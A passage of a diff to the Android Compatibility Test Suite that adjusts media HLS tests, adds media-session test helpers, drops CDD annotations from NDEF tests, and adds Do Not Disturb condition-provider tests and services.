+ private void localHlsTest(final String name, boolean appendQueryString, boolean redirect)
+ throws Exception {
+ localHlsTest(name, null, null, appendQueryString, redirect, 10, -1);
}
- private void localHlsTest(final String name, int playTime, int bitsPerMs, boolean isAudioOnly)
+ private void localHlsTest(final String name, int playTime, int bitsPerMs)
throws Exception {
- localHlsTest(name, null, null, false, false, playTime, bitsPerMs, isAudioOnly);
+ localHlsTest(name, null, null, false, false, playTime, bitsPerMs);
}
private void localHlsTest(String name, Map<String, String> headers, List<HttpCookie> cookies,
- boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs,
- boolean isAudioOnly) throws Exception {
+ boolean appendQueryString, boolean redirect, int playTime, int bitsPerMs)
+ throws Exception {
if (bitsPerMs >= 0) {
mServer = new CtsTestServer(mContext) {
@Override
@@ -694,11 +685,8 @@
if (appendQueryString) {
stream_url += "?foo=bar/baz";
}
- if (isAudioOnly) {
- playLiveAudioOnlyTest(Uri.parse(stream_url), headers, cookies, playTime);
- } else {
- playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
- }
+
+ playLiveVideoTest(Uri.parse(stream_url), headers, cookies, playTime);
} finally {
mServer.shutdown();
}
diff --git a/tests/tests/media/src/android/media/cts/TestServiceRegistry.java b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
new file mode 100644
index 0000000..a904be4
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/TestServiceRegistry.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.fail;
+
+import android.media.MediaSession2.SessionCallback;
+import android.media.MediaSessionService2;
+import android.media.cts.TestUtils.SyncHandler;
+import android.os.Handler;
+import androidx.annotation.GuardedBy;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+/**
+ * Keeps the instance of currently running {@link MockMediaSessionService2}. And also provides
+ * a way to control them in one place.
+ * <p>
+ * It only support only one service at a time.
+ */
+public class TestServiceRegistry {
+ @GuardedBy("TestServiceRegistry.class")
+ private static TestServiceRegistry sInstance;
+ @GuardedBy("TestServiceRegistry.class")
+ private MediaSessionService2 mService;
+ @GuardedBy("TestServiceRegistry.class")
+ private SyncHandler mHandler;
+ @GuardedBy("TestServiceRegistry.class")
+ private SessionCallback mSessionCallback;
+ @GuardedBy("TestServiceRegistry.class")
+ private SessionServiceCallback mSessionServiceCallback;
+
+ /**
+ * Callback for session service's lifecyle (onCreate() / onDestroy())
+ */
+ public interface SessionServiceCallback {
+ default void onCreated() {}
+ default void onDestroyed() {}
+ }
+
+ public static TestServiceRegistry getInstance() {
+ synchronized (TestServiceRegistry.class) {
+ if (sInstance == null) {
+ sInstance = new TestServiceRegistry();
+ }
+ return sInstance;
+ }
+ }
+
+ public void setHandler(Handler handler) {
+ synchronized (TestServiceRegistry.class) {
+ mHandler = new SyncHandler(handler.getLooper());
+ }
+ }
+
+ public Handler getHandler() {
+ synchronized (TestServiceRegistry.class) {
+ return mHandler;
+ }
+ }
+
+ public void setSessionServiceCallback(SessionServiceCallback sessionServiceCallback) {
+ synchronized (TestServiceRegistry.class) {
+ mSessionServiceCallback = sessionServiceCallback;
+ }
+ }
+
+ public void setSessionCallback(SessionCallback sessionCallback) {
+ synchronized (TestServiceRegistry.class) {
+ mSessionCallback = sessionCallback;
+ }
+ }
+
+ public SessionCallback getSessionCallback() {
+ synchronized (TestServiceRegistry.class) {
+ return mSessionCallback;
+ }
+ }
+
+ public void setServiceInstance(MediaSessionService2 service) {
+ synchronized (TestServiceRegistry.class) {
+ if (mService != null) {
+ fail("Previous service instance is still running. Clean up manually to ensure"
+ + " previoulsy running service doesn't break current test");
+ }
+ mService = service;
+ if (mSessionServiceCallback != null) {
+ mSessionServiceCallback.onCreated();
+ }
+ }
+ }
+
+ public MediaSessionService2 getServiceInstance() {
+ synchronized (TestServiceRegistry.class) {
+ return mService;
+ }
+ }
+
+ public void cleanUp() {
+ synchronized (TestServiceRegistry.class) {
+ if (mService != null) {
+ // TODO(jaewan): Remove this, and override SessionService#onDestroy() to do this
+ mService.getSession().close();
+ // stopSelf() would not kill service while the binder connection established by
+ // bindService() exists, and close() above will do the job instead.
+ // So stopSelf() isn't really needed, but just for sure.
+ mService.stopSelf();
+ mService = null;
+ }
+ if (mHandler != null) {
+ mHandler.removeCallbacksAndMessages(null);
+ }
+ mSessionCallback = null;
+ if (mSessionServiceCallback != null) {
+ mSessionServiceCallback.onDestroyed();
+ mSessionServiceCallback = null;
+ }
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index b64a856..f86f150 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -21,6 +21,9 @@
import android.content.Context;
import android.media.DataSourceDesc;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.SessionToken2;
import android.media.session.MediaSessionManager;
import android.os.Bundle;
import android.os.Handler;
@@ -41,6 +44,28 @@
private static final int WAIT_SERVICE_TIME_MS = 5000;
/**
+ * Finds the session with id in this test package.
+ *
+ * @param context
+ * @param id
+ * @return
+ */
+ public static SessionToken2 getServiceToken(Context context, String id) {
+ MediaSessionManager manager =
+ (MediaSessionManager) context.getSystemService(Context.MEDIA_SESSION_SERVICE);
+ List<SessionToken2> tokens = manager.getSessionServiceTokens();
+ for (int i = 0; i < tokens.size(); i++) {
+ SessionToken2 token = tokens.get(i);
+ if (context.getPackageName().equals(token.getPackageName())
+ && id.equals(token.getId())) {
+ return token;
+ }
+ }
+ fail("Failed to find service");
+ return null;
+ }
+
+ /**
* Compares contents of two bundles.
*
* @param a a bundle
@@ -67,6 +92,75 @@
return true;
}
+ /**
+ * Create a playlist for testing purpose
+ * <p>
+ * Caller's method name will be used for prefix of each media item's media id.
+ *
+ * @param size lits size
+ * @return the newly created playlist
+ */
+ public static List<MediaItem2> createPlaylist(int size) {
+ final List<MediaItem2> list = new ArrayList<>();
+ String caller = Thread.currentThread().getStackTrace()[1].getMethodName();
+ for (int i = 0; i < size; i++) {
+ list.add(new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+ .setMediaId(caller + "_item_" + (size + 1))
+ .setDataSourceDesc(
+ new DataSourceDesc.Builder()
+ .setDataSource(new FileDescriptor())
+ .build())
+ .build());
+ }
+ return list;
+ }
+
+ /**
+ * Create a media item with the metadata for testing purpose.
+ *
+ * @return the newly created media item
+ * @see #createMetadata()
+ */
+ public static MediaItem2 createMediaItemWithMetadata() {
+ return new MediaItem2.Builder(MediaItem2.FLAG_PLAYABLE)
+ .setMetadata(createMetadata()).build();
+ }
+
+ /**
+ * Create a media metadata for testing purpose.
+ * <p>
+ * Caller's method name will be used for the media id.
+ *
+ * @return the newly created media item
+ */
+ public static MediaMetadata2 createMetadata() {
+ String mediaId = Thread.currentThread().getStackTrace()[1].getMethodName();
+ return new MediaMetadata2.Builder()
+ .putString(MediaMetadata2.METADATA_KEY_MEDIA_ID, mediaId).build();
+ }
+
+ /**
+ * Handler that always waits until the Runnable finishes.
+ */
+ public static class SyncHandler extends Handler {
+ public SyncHandler(Looper looper) {
+ super(looper);
+ }
+
+ public void postAndSync(Runnable runnable) throws InterruptedException {
+ if (getLooper() == Looper.myLooper()) {
+ runnable.run();
+ } else {
+ final CountDownLatch latch = new CountDownLatch(1);
+ post(()->{
+ runnable.run();
+ latch.countDown();
+ });
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+ }
+
public static class Monitor {
private int mNumSignal;
diff --git a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
index ff022fc..7d31dc3 100644
--- a/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
+++ b/tests/tests/nativehardware/src/android/hardware/nativehardware/cts/HardwareBufferVrTest.java
@@ -21,14 +21,10 @@
import android.hardware.HardwareBuffer;
import android.test.AndroidTestCase;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Checks whether layered buffers are supported when VR feature is present.
*/
public class HardwareBufferVrTest extends AndroidTestCase {
-
- @CddTest(requirement="7.9.2/C-1-10")
public void testLayeredBuffersForVr() throws AssertionError {
boolean mIsVrHeadset = (getContext().getResources().getConfiguration().uiMode
& Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
index 0e5b1dd..df28c7b 100644
--- a/tests/tests/ndef/Android.mk
+++ b/tests/tests/ndef/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
index 7b8cadb..b0a838c 100644
--- a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
+++ b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
@@ -24,8 +24,6 @@
import android.nfc.NdefRecord;
import android.nfc.FormatException;
-import com.android.compatibility.common.util.CddTest;
-
import junit.framework.TestCase;
/**
@@ -34,7 +32,6 @@
* hardware is required, so these API's are mandatory even on Android
* devices without NFC hardware.
*/
-@CddTest(requirement="7.4.4/C-0-1")
public class NdefTest extends TestCase {
static final Charset ASCII = Charset.forName("US-ASCII");
static final Charset UTF8 = Charset.forName("UTF-8");
@@ -89,7 +86,6 @@
new byte[] {1,2,3}, new byte[] {4,5,6}, new byte[] {7,8,9})).hashCode());
}
- @CddTest(requirement="7.4.4/C-0-1")
public void testInvalidParsing() throws FormatException {
final byte[][] invalidNdefMessages = {
{}, // too short
@@ -119,7 +115,6 @@
}
}
- @CddTest(requirement="7.4.4/C-0-1")
public void testValidParsing() throws FormatException {
// short record
assertEquals(new NdefMessage(new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null)),
@@ -312,7 +307,6 @@
(byte) 0x6f, (byte) 0x6d}));
}
- @CddTest(requirement="7.4.4/C-0-1")
public void testCreateUri() {
assertEquals(new byte[] {
(byte)0xD1, 1, 8, 'U', (byte)0x01, 'n', 'f', 'c', '.', 'c', 'o', 'm'},
@@ -333,7 +327,6 @@
new NdefMessage(NdefRecord.createUri("\u00A2")).toByteArray());
}
- @CddTest(requirement="7.4.4/C-0-1")
public void testCreateMime() {
assertEquals(
new NdefRecord(NdefRecord.TNF_MIME_MEDIA, "text/plain".getBytes(ASCII), null,
@@ -392,7 +385,6 @@
NdefRecord.createExternal("A.b", "C!", null));
}
- @CddTest(requirement="7.4.4/C-0-1")
public void testCreateApplicationRecord() throws FormatException {
NdefMessage m;
NdefRecord r;
@@ -439,7 +431,6 @@
assertEquals("com.foo.bar".getBytes(), r.getPayload());
}
- @CddTest(requirement="7.4.4/C-0-1")
public void testToByteArray() throws FormatException {
NdefRecord r;
@@ -489,7 +480,6 @@
1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,})).toByteArray());
}
- @CddTest(requirement="7.4.4/C-0-1")
public void testToUri() {
// absolute uri
assertEquals(Uri.parse("http://www.android.com"),
@@ -526,7 +516,6 @@
assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toUri());
}
- @CddTest(requirement="7.4.4/C-0-1")
public void testToMimeType() {
assertEquals(null, NdefRecord.createUri("http://www.android.com").toMimeType());
assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toMimeType());
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 2ed0124..94a0e78 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -456,12 +456,33 @@
assertFalse(existSSID(SSID1));
assertTrue(existSSID(SSID2));
+ // Need an effectively-final holder because we need to modify inner Intent in callback.
+ class IntentHolder {
+ Intent intent;
+ }
+ IntentHolder intentHolder = new IntentHolder();
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Received CONFIGURED_NETWORKS_CHANGED_ACTION broadcast: " + intent);
+ intentHolder.intent = intent;
+ }
+ }, new IntentFilter(WifiManager.CONFIGURED_NETWORKS_CHANGED_ACTION));
+
// Remove a WifiConfig
assertTrue(mWifiManager.removeNetwork(netId));
assertFalse(mWifiManager.removeNetwork(notExist));
assertFalse(existSSID(SSID1));
assertFalse(existSSID(SSID2));
+ // wait 10 seconds to ensure that broadcast wasn't received
+ Thread.sleep(DURATION);
+ Intent intent = intentHolder.intent;
+ // Broadcast shouldn't be received because although CtsNetTestCases has
+ // ACCESS_WIFI_STATE permission, it doesn't have ACCESS_FINE_LOCATION permission.
+ // Receivers need both permissions to get the broadcast.
+ assertNull("Unexpected received CONFIGURED_NETWORKS_CHANGED_ACTION broadcast!", intent);
+
assertTrue(mWifiManager.saveConfiguration());
} finally {
reEnableNetworks(enabledSsids, mWifiManager.getConfiguredNetworks());
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/AndroidManifest.xml
index 634910e..f928c3e 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/AndroidManifest.xml
@@ -17,6 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.app.notification.legacy.cts">
+ <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
<uses-sdk android:minSdkVersion="24" android:targetSdkVersion="24" />
<application>
@@ -30,6 +31,24 @@
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
+
+ <service android:name="android.app.notification.legacy.cts.LegacyConditionProviderService"
+ android:exported="true"
+ android:label="Legacy"
+ android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.ConditionProviderService" />
+ </intent-filter>
+ </service>
+
+ <service android:name="android.app.notification.legacy.cts.SecondaryConditionProviderService"
+ android:exported="true"
+ android:label="Secondary"
+ android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.ConditionProviderService" />
+ </intent-filter>
+ </service>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
new file mode 100644
index 0000000..2e54d92
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy.cts;
+
+import static android.app.NotificationManager.INTERRUPTION_FILTER_ALARMS;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_NONE;
+import static android.service.notification.NotificationListenerService.INTERRUPTION_FILTER_PRIORITY;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNull;
+
+import android.app.ActivityManager;
+import android.app.AutomaticZenRule;
+import android.app.Instrumentation;
+import android.app.NotificationManager;
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.util.ArraySet;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+@RunWith(AndroidJUnit4.class)
+public class ConditionProviderServiceTest {
+ private static String TAG = "CpsTest";
+
+ private NotificationManager mNm;
+ private ActivityManager mActivityManager;
+ private Context mContext;
+ private ArraySet<String> ids = new ArraySet<>();
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getContext();
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), true);
+ LegacyConditionProviderService.requestRebind(LegacyConditionProviderService.getId());
+ SecondaryConditionProviderService.requestRebind(SecondaryConditionProviderService.getId());
+ mNm = (NotificationManager) mContext.getSystemService(
+ Context.NOTIFICATION_SERVICE);
+ mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ try {
+ for (String id : ids) {
+ if (id != null) {
+ if (!mNm.removeAutomaticZenRule(id)) {
+ throw new Exception("Could not remove rule " + id);
+ }
+
+ assertNull(mNm.getAutomaticZenRule(id));
+ }
+ }
+ } finally {
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
+ InstrumentationRegistry.getInstrumentation(), false);
+ pollForConnection(LegacyConditionProviderService.class, false);
+ pollForConnection(SecondaryConditionProviderService.class, false);
+ }
+ }
+
+ @Test
+ public void testUnboundCPSMaintainsCondition_addsNewRule() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
+ // make sure service get bound
+ pollForConnection(SecondaryConditionProviderService.class, true);
+
+ final ComponentName cn = SecondaryConditionProviderService.getId();
+
+ // add rule
+ addRule(cn, INTERRUPTION_FILTER_ALARMS, true);
+ pollForSubscribe(SecondaryConditionProviderService.getInstance());
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // unbind service
+ SecondaryConditionProviderService.getInstance().requestUnbind();
+
+ // verify that DND state doesn't change
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // add a new rule
+ addRule(cn, INTERRUPTION_FILTER_NONE, true);
+
+ // verify that the unbound service maintains it's DND vote
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+ }
+
+ @Test
+ public void testUnboundCPSMaintainsCondition_otherConditionChanges() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
+ // make sure both services get bound
+ pollForConnection(LegacyConditionProviderService.class, true);
+ pollForConnection(SecondaryConditionProviderService.class, true);
+
+ // add rules for both
+ addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+ pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+ addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+ pollForSubscribe(SecondaryConditionProviderService.getInstance());
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // unbind one of the services
+ SecondaryConditionProviderService.getInstance().requestUnbind();
+
+ // verify that DND state doesn't change
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // trigger a change in the bound service's condition
+ ((LegacyConditionProviderService) LegacyConditionProviderService.getInstance())
+ .toggleDND(false);
+
+ // verify that the unbound service maintains it's DND vote
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+ }
+
+ @Test
+ public void testUnboundCPSMaintainsCondition_otherProviderRuleChanges() throws Exception {
+ if (mActivityManager.isLowRamDevice()) {
+ return;
+ }
+
+ // make sure both services get bound
+ pollForConnection(LegacyConditionProviderService.class, true);
+ pollForConnection(SecondaryConditionProviderService.class, true);
+
+ // add rules for both
+ addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+ pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+ addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+ pollForSubscribe(SecondaryConditionProviderService.getInstance());
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // unbind one of the services
+ SecondaryConditionProviderService.getInstance().requestUnbind();
+
+ // verify that DND state doesn't change
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+ // trigger a change in the bound service's rule
+ addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, false);
+
+ // verify that the unbound service maintains it's DND vote
+ assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+ }
+
+ private void addRule(ComponentName cn, int filter, boolean enabled) {
+ String id = mNm.addAutomaticZenRule(new AutomaticZenRule("name",
+ cn, Uri.EMPTY, filter, enabled));
+ Log.d(TAG, "Created rule with id " + id);
+ ids.add(id);
+ }
+
+ private void toggleNotificationPolicyAccess(String packageName,
+ Instrumentation instrumentation, boolean on) throws IOException {
+
+ String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
+
+ runCommand(command, instrumentation);
+
+ NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+ Assert.assertEquals("Notification Policy Access Grant is " +
+ nm.isNotificationPolicyAccessGranted() + " not " + on, on,
+ nm.isNotificationPolicyAccessGranted());
+ }
+
+ private void runCommand(String command, Instrumentation instrumentation) throws IOException {
+ UiAutomation uiAutomation = instrumentation.getUiAutomation();
+ // Execute command
+ try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
+ Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+ // Wait for the command to finish by reading until EOF
+ try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+ byte[] buffer = new byte[4096];
+ while (in.read(buffer) > 0) {}
+ } catch (IOException e) {
+ throw new IOException("Could not read stdout of command: " + command, e);
+ }
+ } finally {
+ uiAutomation.destroy();
+ }
+ }
+
+ private void pollForSubscribe(PollableConditionProviderService service) throws Exception {
+ int tries = 30;
+ int delayMs = 200;
+
+ while (tries-- > 0 && !service.subscribed) {
+ try {
+ Thread.sleep(delayMs);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+
+ if (!service.subscribed) {
+ Log.d(TAG, "not subscribed");
+ throw new Exception("Service never got onSubscribe()");
+ }
+ }
+
+ private void pollForConnection(Class<? extends PollableConditionProviderService> service,
+ boolean waitForConnection) throws Exception {
+ int tries = 100;
+ int delayMs = 200;
+
+ PollableConditionProviderService instance =
+ (PollableConditionProviderService) service.getMethod("getInstance").invoke(null);
+
+ while (tries-- > 0 && (waitForConnection ? instance == null : instance != null)) {
+ try {
+ Thread.sleep(delayMs);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ instance = (PollableConditionProviderService) service.getMethod("getInstance")
+ .invoke(null);
+ }
+
+ if (waitForConnection && instance == null) {
+ Log.d(TAG, service.getName() + " not bound");
+ throw new Exception("CPS never bound");
+ } else if (!waitForConnection && instance != null) {
+ Log.d(TAG, service.getName() + " still bound");
+ throw new Exception("CPS still bound");
+ } else {
+ Log.d(TAG, service.getName() + " has a correct bind state");
+ }
+ }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
new file mode 100644
index 0000000..72d5d3e
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+import android.service.notification.Condition;
+
+public class LegacyConditionProviderService extends PollableConditionProviderService {
+ private static PollableConditionProviderService sInstance = null;
+
+ public static ComponentName getId() {
+ return new ComponentName(LegacyConditionProviderService.class.getPackage().getName(),
+ LegacyConditionProviderService.class.getName());
+ }
+
+ public static PollableConditionProviderService getInstance() {
+ return sInstance;
+ }
+
+ @Override
+ public void onConnected() {
+ super.onConnected();
+ sInstance = this;
+ }
+
+ @Override
+ public void onDestroy() {
+ sInstance = null;
+ super.onDestroy();
+ }
+
+ public void toggleDND(boolean on) {
+ notifyCondition(
+ new Condition(conditionId, "", on ? Condition.STATE_TRUE : Condition.STATE_FALSE));
+ }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 4b5228e..ec9a520 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -44,6 +44,7 @@
import junit.framework.Assert;
+import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -77,6 +78,12 @@
mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
}
+ @After
+ public void tearDown() throws Exception {
+ toggleListenerAccess(MockNotificationListener.getId(),
+ InstrumentationRegistry.getInstrumentation(), false);
+ }
+
@Test
public void testPrePCannotToggleAlarmsAndMediaTest() throws Exception {
if (mActivityManager.isLowRamDevice()) {
@@ -168,9 +175,6 @@
@Test
public void testSuspendPackage() throws Exception {
- if (mActivityManager.isLowRamDevice()) {
- return;
- }
toggleListenerAccess(MockNotificationListener.getId(),
InstrumentationRegistry.getInstrumentation(), true);
Thread.sleep(500); // wait for listener to be allowed
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
new file mode 100644
index 0000000..226c96f
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.net.Uri;
+import android.service.notification.Condition;
+import android.service.notification.ConditionProviderService;
+import android.util.Log;
+
+public abstract class PollableConditionProviderService extends ConditionProviderService {
+ final static String TAG = "CtsCps";
+
+ boolean isConnected;
+ boolean subscribed;
+ Uri conditionId;
+
+ @Override
+ public void onConnected() {
+ Log.d(TAG, getClass().getName() + " Connected");
+ isConnected = true;
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(TAG, getClass().getName() + " Destroyed");
+ isConnected = false;
+ super.onDestroy();
+ }
+
+ @Override
+ public void onSubscribe(Uri conditionId) {
+ Log.d(TAG, getClass().getName() + " got subscribe");
+ subscribed = true;
+ this.conditionId = conditionId;
+ notifyCondition(new Condition(conditionId, "", Condition.STATE_TRUE));
+ }
+
+ @Override
+ public void onUnsubscribe(Uri conditionId) {
+ Log.d(TAG, getClass().getName() + " got unsubscribe");
+ subscribed = false;
+ this.conditionId = null;
+ }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
new file mode 100644
index 0000000..2310a30
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
